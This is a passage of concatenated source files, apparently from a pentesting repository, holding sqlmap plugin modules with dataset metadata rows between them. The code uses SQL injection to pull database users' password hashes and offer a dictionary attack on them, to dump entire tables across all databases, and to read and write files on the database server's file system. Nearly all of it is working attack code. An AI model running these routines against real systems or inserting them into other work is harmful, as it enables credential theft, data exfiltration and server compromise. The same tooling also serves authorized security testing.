% (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: values = inject.getValue(query, blind=False, time=False) for user, password in filterPairValues(values): if not user or user == " ": continue password = parsePasswordHash(password) if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct: if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] if Backend.isDbms(DBMS.SYBASE): getCurrentThreadData().disableStdOut = True randStr = randomStr() query = rootQuery.inband.query retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True) if retVal: for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])): password = "0x%s" % hexencode(password).upper() if user not in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = [password] else: kb.data.cachedUsersPasswords[user].append(password) getCurrentThreadData().disableStdOut = False else: retrievedUsers = set() for user in users: user = unArrayizeValue(user) if user in retrievedUsers: continue infoMsg = "fetching number of password hashes " infoMsg += "for user '%s'" % user logger.info(infoMsg) if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching password hashes for user '%s'" % user logger.info(infoMsg) passwords = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MSSQL): if Backend.isVersionWithin(("2005", "2008")): query = rootQuery.blind.query2 % (user, index, user) else: query = rootQuery.blind.query % (user, index, user) else: query = rootQuery.blind.query % (user, index) password = unArrayizeValue(inject.getValue(query, union=False, error=False)) password = parsePasswordHash(password) passwords.append(password) if passwords: kb.data.cachedUsersPasswords[user] = passwords else: warnMsg = "unable to retrieve the password " warnMsg += "hashes for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " errMsg += "database users (probably because the session " errMsg += "user has no read privileges over the relevant " errMsg += "system database table)" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) storeHashesToFile(kb.data.cachedUsersPasswords) message = "do you want to perform a dictionary-based attack " message += "against retrieved password hashes? [Y/n/q]" test = readInput(message, default="Y") if test[0] in ("n", "N"): pass elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: attackCachedUsersPasswords() return kb.data.cachedUsersPasswords def getPrivileges(self, query2=False): infoMsg = "fetching database users privileges" rootQuery = queries[Backend.getIdentifiedDbms()].privileges if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): conf.user = conf.user.upper() if conf.user: users = conf.user.split(",") if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] else: users = [] users = filter(None, users) # Set containing the list of DBMS administrators areAdmins = set() if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: query += " WHERE " if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) else: query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) if not isNoneValue(values): for value in values: user = None privileges = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the privileges else: privilege = value[count] if privilege is None: continue # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): if int(privilege) == 1: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: if privilege.upper() == "Y": privileges.add(MYSQL_PRIVS[count]) # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(",") privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) if user in kb.data.cachedUsersPrivileges: kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) else: kb.data.cachedUsersPrivileges[user] = list(privileges) if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct: if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: conditionChar = "LIKE" else: conditionChar = "=" if not len(users): users = self.getUsers() if Backend.isDbms(DBMS.MYSQL): for user in users: parsedUser = re.search("[\047]*(.*?)[\047]*\@", user) if parsedUser: users[users.index(user)] = parsedUser.groups()[0] retrievedUsers = set() for user in users: outuser = user if user in retrievedUsers: continue if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: user = "%%%s%%" % user infoMsg = "fetching number of privileges " infoMsg += "for user '%s'" % outuser logger.info(infoMsg) if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 % user elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.count % (conditionChar, user) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.count2 % user else: query = rootQuery.blind.count % user count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "privileges for user '%s'" % outuser logger.warn(warnMsg) continue infoMsg = "fetching privileges for user '%s'" % outuser logger.info(infoMsg) privileges = set() plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema: query = rootQuery.blind.query % (conditionChar, user, index) elif Backend.isDbms(DBMS.ORACLE) and query2: query = rootQuery.blind.query2 % (user, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, user) else: query = rootQuery.blind.query % (user, index) privilege = unArrayizeValue(inject.getValue(query, union=False, error=False)) if privilege is None: continue # In PostgreSQL we get 1 if the privilege is True, # 0 otherwise if Backend.isDbms(DBMS.PGSQL) and ", " in privilege: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.isdigit() and int(priv) == 1: for position, pgsqlPriv in PGSQL_PRIVS.items(): if position == i: privileges.add(pgsqlPriv) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: privilege = privilege.replace(", ", ",") privs = privilege.split(",") i = 1 for priv in privs: if priv.upper() == "Y": for position, mysqlPriv in MYSQL_PRIVS.items(): if position == i: privileges.add(mysqlPriv) i += 1 # In Firebird we get one letter for each privilege elif Backend.isDbms(DBMS.FIREBIRD): privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise elif Backend.isDbms(DBMS.DB2): privs = privilege.split(",") privilege = privs[0] privs = privs[1] privs = list(privs.strip()) i = 1 for priv in privs: if priv.upper() in ("Y", "G"): for position, db2Priv in DB2_PRIVS.items(): if position == i: privilege += ", " + db2Priv i += 1 privileges.add(privilege) # In MySQL < 5.0 we break the cycle after the first # time we get the user's privileges otherwise we # duplicate the same query if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: break if privileges: kb.data.cachedUsersPrivileges[user] = list(privileges) else: warnMsg = "unable to retrieve the privileges " warnMsg += "for user '%s'" % outuser logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersPrivileges: errMsg = "unable to retrieve the privileges " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersPrivileges.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return (kb.data.cachedUsersPrivileges, areAdmins) def getRoles(self, query2=False): warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms() warnMsg += "exist. sqlmap will enumerate privileges instead" logger.warn(warnMsg) return self.getPrivileges(query2)
25,503
Python
.py
470
36.476596
178
0.539651
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,164
entries.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/entries.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import Backend from lib.core.common import clearConsoleLine from lib.core.common import getLimitRange from lib.core.common import getUnicode from lib.core.common import isInferenceAvailable from lib.core.common import isListLike from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import prioritySortColumns from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD from lib.core.settings import CURRENT_DB from lib.core.settings import NULL from lib.request import inject from lib.utils.hash import attackDumpedTable from lib.utils.pivotdumptable import pivotDumpTable from lib.utils.pivotdumptable import whereQuery class Entries: """ This class defines entries' enumeration functionalities for plugins. """ def __init__(self): pass def dumpTable(self, foundData=None): self.forceDbmsEnum() if conf.db is None or conf.db == CURRENT_DB: if conf.db is None: warnMsg = "missing database parameter. sqlmap is going " warnMsg += "to use the current database to enumerate " warnMsg += "table(s) entries" logger.warn(warnMsg) conf.db = self.getCurrentDb() elif conf.db is not None: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.db = conf.db.upper() if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) conf.db = safeSQLIdentificatorNaming(conf.db) if conf.tbl: if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(",") else: self.getTables() if len(kb.data.cachedTables) > 0: tblList = kb.data.cachedTables.values() if isinstance(tblList[0], (set, tuple, list)): tblList = tblList[0] else: errMsg = "unable to retrieve the tables " errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) raise SqlmapNoneDataException(errMsg) for tbl in tblList: tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) for tbl in tblList: conf.tbl = tbl kb.data.dumpedTable = {} if foundData is None: kb.data.cachedColumns = {} self.getColumns(onlyColNames=True) else: kb.data.cachedColumns = foundData try: kb.dumpTable = "%s.%s" % (conf.db, tbl) if not safeSQLIdentificatorNaming(conf.db) in kb.data.cachedColumns \ or safeSQLIdentificatorNaming(tbl, True) not in \ kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] \ or not kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]: warnMsg = "unable to enumerate the columns for table " warnMsg += "'%s' in database" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += ", skipping" if len(tblList) > 1 else "" logger.warn(warnMsg) continue columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] colList = sorted(filter(None, columns.keys())) if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] if not colList: warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) warnMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) warnMsg += " (no usable column names)" logger.warn(warnMsg) continue colNames = colString = ", ".join(column for column in colList) rootQuery = queries[Backend.getIdentifiedDbms()].dump_table infoMsg = "fetching entries" if conf.col: infoMsg += " of column(s) '%s'" % colNames infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(tbl) infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: entries = [] query = None if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.inband.query % (colString, tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MAXDB): query = rootQuery.inband.query % (colString, tbl) elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): # Partial inband and error if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, blind=False) if retVal: entries, _ = retVal entries = zip(*[entries[colName] for colName in colList]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0]) else: query = rootQuery.inband.query % (colString, conf.db, tbl) query = whereQuery(query) if not entries and query: entries = inject.getValue(query, blind=False, time=False, dump=True) if not isNoneValue(entries): if isinstance(entries, basestring): entries = [entries] elif not isListLike(entries): entries = [] entriesCount = len(entries) for index, column in enumerate(colList): if column not in kb.data.dumpedTable: kb.data.dumpedTable[column] = {"length": len(column), "values": BigArray()} for entry in entries: if entry is None or len(entry) == 0: continue if isinstance(entry, basestring): colEntry = entry else: colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u'' _ = len(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))) maxLen = max(len(column), _) if maxLen > kb.data.dumpedTable[column]["length"]: kb.data.dumpedTable[column]["length"] = maxLen kb.data.dumpedTable[column]["values"].append(colEntry) if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of " if conf.col: infoMsg += "column(s) '%s' " % colNames infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.count % (tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper()))) elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD): query = rootQuery.blind.count % tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): query = rootQuery.blind.count % ("%s.%s" % (conf.db, tbl)) elif Backend.isDbms(DBMS.MAXDB): query = rootQuery.blind.count % tbl else: query = rootQuery.blind.count % (conf.db, tbl) query = whereQuery(query) count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) lengths = {} entries = {} if count == 0: warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(conf.db) warnMsg += "appears to be empty" logger.warn(warnMsg) for column in colList: lengths[column] = len(column) entries[column] = [] elif not isNumPosStrValue(count): warnMsg = "unable to retrieve the number of " if conf.col: warnMsg += "column(s) '%s' " % colNames warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.warn(warnMsg) continue elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL): if Backend.isDbms(DBMS.ACCESS): table = tbl elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL): table = "%s.%s" % (conf.db, tbl) elif Backend.isDbms(DBMS.MAXDB): table = "%s.%s" % (conf.db, tbl) retVal = pivotDumpTable(table, colList, count, blind=True) if retVal: entries, lengths = retVal else: emptyColumns = [] plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) indexRange = getLimitRange(count, dump=True, plusOne=plusOne) if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD: for column in colList: if inject.getValue("SELECT COUNT(%s) FROM %s" % (column, kb.dumpTable), union=False, error=False) == '0': emptyColumns.append(column) debugMsg = "column '%s' of table '%s' will not be " % (column, kb.dumpTable) debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) try: for index in indexRange: for column in colList: value = "" if column not in lengths: lengths[column] = 0 if column not in entries: entries[column] = BigArray() if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) elif Backend.isDbms(DBMS.SQLITE): query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) query = whereQuery(query) value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) value = '' if value is None else value _ = DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)) lengths[column] = max(lengths[column], len(_)) entries[column].append(value) except KeyboardInterrupt: clearConsoleLine() warnMsg = "Ctrl+C detected in dumping phase" logger.warn(warnMsg) for column, columnEntries in entries.items(): length = max(lengths[column], len(column)) kb.data.dumpedTable[column] = {"length": length, "values": columnEntries} entriesCount = len(columnEntries) if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag): warnMsg = "unable to retrieve the entries " if conf.col: warnMsg += "of columns '%s' " % colNames warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'%s" % (unsafeSQLIdentificatorNaming(conf.db), " (permission denied)" if kb.permissionFlag else "") logger.warn(warnMsg) else: kb.data.dumpedTable["__infos__"] = {"count": entriesCount, "table": safeSQLIdentificatorNaming(tbl, True), "db": safeSQLIdentificatorNaming(conf.db)} attackDumpedTable() conf.dumper.dbTableValues(kb.data.dumpedTable) except SqlmapConnectionException, e: errMsg = "connection exception detected in dumping phase: " errMsg += "'%s'" % e logger.critical(errMsg) finally: kb.dumpTable = None def dumpAll(self): if conf.db is not None and conf.tbl is None: self.dumpTable() return if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: errMsg = "information_schema not available, " errMsg += "back-end DBMS is MySQL < 5.0" raise SqlmapUnsupportedFeatureException(errMsg) infoMsg = "sqlmap will dump entries of all tables from all databases now" logger.info(infoMsg) conf.tbl = None conf.col = None self.getTables() if kb.data.cachedTables: if isinstance(kb.data.cachedTables, list): kb.data.cachedTables = { None: kb.data.cachedTables } for db, tables in kb.data.cachedTables.items(): conf.db = db for table in tables: try: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} self.dumpTable() except SqlmapNoneDataException: infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table) logger.info(infoMsg) def dumpFoundColumn(self, dbs, foundCols, colConsider): message = "do you want to dump entries? [Y/n] " output = readInput(message, default="Y") if output and output[0] not in ("y", "Y"): return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tblData in dbs.items(): if tblData: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" test = readInput(message, default="a") if not test or test in ("a", "A"): dumpFromDbs = dbs.keys() elif test in ("q", "Q"): return else: dumpFromDbs = test.replace(" ", "").split(",") for db, tblData in dbs.items(): if db not in dumpFromDbs or not tblData: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tblData: message += "[%s]\n" % tbl message += "[s]kip\n" message += "[q]uit" test = readInput(message, default="a") if not test or test in ("a", "A"): dumpFromTbls = tblData elif test in ("s", "S"): continue elif test in ("q", "Q"): return else: dumpFromTbls = test.replace(" ", "").split(",") for table, columns in tblData.items(): if table not in dumpFromTbls: continue conf.tbl = table colList = filter(None, sorted(columns)) if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] conf.col = ",".join(colList) kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable(dbs) if data: conf.dumper.dbTableValues(data) def dumpFoundTables(self, tables): message = "do you want to dump tables' entries? [Y/n] " output = readInput(message, default="Y") if output and output[0].lower() != "y": return dumpFromDbs = [] message = "which database(s)?\n[a]ll (default)\n" for db, tablesList in tables.items(): if tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(db) message += "[q]uit" test = readInput(message, default="a") if not test or test.lower() == "a": dumpFromDbs = tables.keys() elif test.lower() == "q": return else: dumpFromDbs = test.replace(" ", "").split(",") for db, tablesList in tables.items(): if db not in dumpFromDbs or not tablesList: continue conf.db = db dumpFromTbls = [] message = "which table(s) of database '%s'?\n" % unsafeSQLIdentificatorNaming(db) message += "[a]ll (default)\n" for tbl in tablesList: message += "[%s]\n" % unsafeSQLIdentificatorNaming(tbl) message += "[s]kip\n" message += "[q]uit" test = readInput(message, default="a") if not test or test.lower() == "a": dumpFromTbls = tablesList elif test.lower() == "s": continue elif test.lower() == "q": return else: dumpFromTbls = test.replace(" ", "").split(",") for table in dumpFromTbls: conf.tbl = table kb.data.cachedColumns = {} kb.data.dumpedTable = {} data = self.dumpTable() if data: conf.dumper.dbTableValues(data)
22,217
Python
.py
401
36.927681
163
0.521308
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,165
filesystem.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/generic/filesystem.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.agent import agent from lib.core.common import dataToOutFile from lib.core.common import Backend from lib.core.common import decloakToTemp from lib.core.common import decodeHexValue from lib.core.common import isNumPosStrValue from lib.core.common import isListLike from lib.core.common import isStackingAvailable from lib.core.common import isTechniqueAvailable from lib.core.common import readInput from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapUndefinedMethod from lib.request import inject class Filesystem: """ This class defines generic OS file system functionalities for plugins. """ def __init__(self): self.fileTblName = "sqlmapfile" self.tblField = "data" def _checkFileLength(self, localFile, remoteFile, fileRead=False): if Backend.isDbms(DBMS.MYSQL): lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile elif Backend.isDbms(DBMS.PGSQL) and not fileRead: lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid elif Backend.isDbms(DBMS.MSSQL): self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)") inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)); lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName) localFileSize = os.path.getsize(localFile) if fileRead and Backend.isDbms(DBMS.PGSQL): logger.info("length of read file %s cannot be checked on PostgreSQL" % remoteFile) sameFile = True else: logger.debug("checking the length of the remote file %s" % remoteFile) remoteFileSize = inject.getValue(lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) sameFile = None if isNumPosStrValue(remoteFileSize): remoteFileSize = long(remoteFileSize) sameFile = False if localFileSize == remoteFileSize: sameFile = True infoMsg = "the local file %s and the remote file " % localFile infoMsg += "%s have the same size" % remoteFile elif remoteFileSize > localFileSize: infoMsg = "the remote file %s is larger than " % remoteFile infoMsg += "the local file %s" % localFile else: infoMsg = "the remote file %s is smaller than " % remoteFile infoMsg += "file '%s' (%d bytes)" % (localFile, localFileSize) logger.info(infoMsg) else: sameFile = False warnMsg = "it looks like the file has not been written (usually " warnMsg += "occurs if the DBMS process' user has no write " warnMsg += "privileges in the destination path)" logger.warn(warnMsg) return sameFile def fileToSqlQueries(self, fcEncodedList): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ counter = 0 sqlQueries = [] for fcEncodedLine in fcEncodedList: if counter == 0: sqlQueries.append("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, fcEncodedLine)) else: updatedField = agent.simpleConcatenate(self.tblField, fcEncodedLine) sqlQueries.append("UPDATE %s SET %s=%s" % (self.fileTblName, self.tblField, updatedField)) counter += 1 return sqlQueries def fileEncode(self, fileName, encoding, single): """ Called by MySQL and PostgreSQL plugins to write a file on the back-end DBMS underlying file system """ retVal = [] with open(fileName, "rb") as f: content = f.read().encode(encoding).replace("\n", "") if not single: if len(content) > 256: for i in xrange(0, len(content), 256): _ = content[i:i + 256] if encoding == "hex": _ = "0x%s" % _ elif encoding == "base64": _ = "'%s'" % _ retVal.append(_) if not retVal: if encoding == "hex": content = "0x%s" % content elif encoding == "base64": content = "'%s'" % content retVal = [content] return retVal def askCheckWrittenFile(self, localFile, remoteFile, forceCheck=False): output = None if forceCheck is not True: message = "do you want confirmation that the local file '%s' " % localFile message += "has been successfully written on the back-end DBMS " message += "file system (%s)? [Y/n] " % remoteFile output = readInput(message, default="Y") if forceCheck or (output and output.lower() == "y"): return self._checkFileLength(localFile, remoteFile) return True def askCheckReadFile(self, localFile, remoteFile): message = "do you want confirmation that the remote file '%s' " % remoteFile message += "has been successfully downloaded from the back-end " message += "DBMS file system? [Y/n] " output = readInput(message, default="Y") if not output or output in ("y", "Y"): return self._checkFileLength(localFile, remoteFile, True) return None def nonStackedReadFile(self, remoteFile): errMsg = "'nonStackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def stackedReadFile(self, remoteFile): errMsg = "'stackedReadFile' method must be defined " errMsg += "into the specific DBMS plugin" raise SqlmapUndefinedMethod(errMsg) def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): errMsg = "'unionWriteFile' method must be defined " errMsg += "into the specific DBMS 